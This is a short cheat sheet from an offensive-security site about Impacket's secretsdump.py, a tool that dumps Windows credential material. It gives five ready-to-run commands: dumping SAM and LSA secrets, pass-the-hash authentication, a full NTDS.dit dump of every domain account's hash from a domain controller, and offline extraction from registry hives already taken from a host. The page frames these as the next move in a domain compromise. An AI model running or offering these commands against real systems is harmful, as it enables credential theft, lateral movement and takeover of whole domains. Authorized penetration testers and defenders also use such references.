PWNMI

Cheatsheets

secretsdump.py Cheat Sheet

Updated July 27, 2026 · Written by PWNMI — see About.

secretsdump.py is part of the Impacket toolkit — a Python script that dumps credential material (SAM hashes, LSA secrets, cached domain credentials, or an entire domain's NTDS.dit) from a Windows target without needing to drop an agent on it first.

Red Team / Offensive Use

Once you have admin-level access to a host, secretsdump.py is usually the next move: local SAM hashes for lateral movement via pass-the-hash, or — with domain admin access to a DC — a full NTDS.dit dump covering every domain account's hash in one pass. It's the standard companion to a tool like NetExec once NetExec has confirmed the access; NetExec finds where you can get in, secretsdump.py is what you run once you're there.

Established Cheatsheet

fortra/impacket — the official repository (Impacket moved under Fortra's maintenance); secretsdump.py lives in the examples/ directory alongside Impacket's other attack scripts.

PWNMI's Top 5 Use Cases

  • secretsdump.py DOMAIN/user:password@10.10.10.5 — dump local SAM and LSA secrets from a single host using known credentials
  • secretsdump.py -hashes :NTHASH DOMAIN/user@10.10.10.5 — authenticate with a hash directly (pass-the-hash) instead of a plaintext password
  • secretsdump.py DOMAIN/user:password@10.10.10.5 -just-dc — dump the full NTDS.dit from a domain controller you have domain admin (or DCSync-equivalent) rights on
  • secretsdump.py DOMAIN/user:password@10.10.10.5 -just-dc-ntlm — same as above but NTLM hashes only, faster when you don't need Kerberos keys too
  • secretsdump.py -sam sam.save -system system.save LOCAL — dump from registry hive files already exfiltrated from a host, rather than connecting live

Next step

This tool assumes you already have access — see NetExec for confirming what credentials reach what hosts first, or the script privesc checklist for the Linux side of privilege escalation. For where a DCSync dump (-just-dc) fits in the larger domain-compromise sequence, see the Active Directory attack chain; for the other Impacket scripts that lead up to it, see the Impacket suite cheat sheet.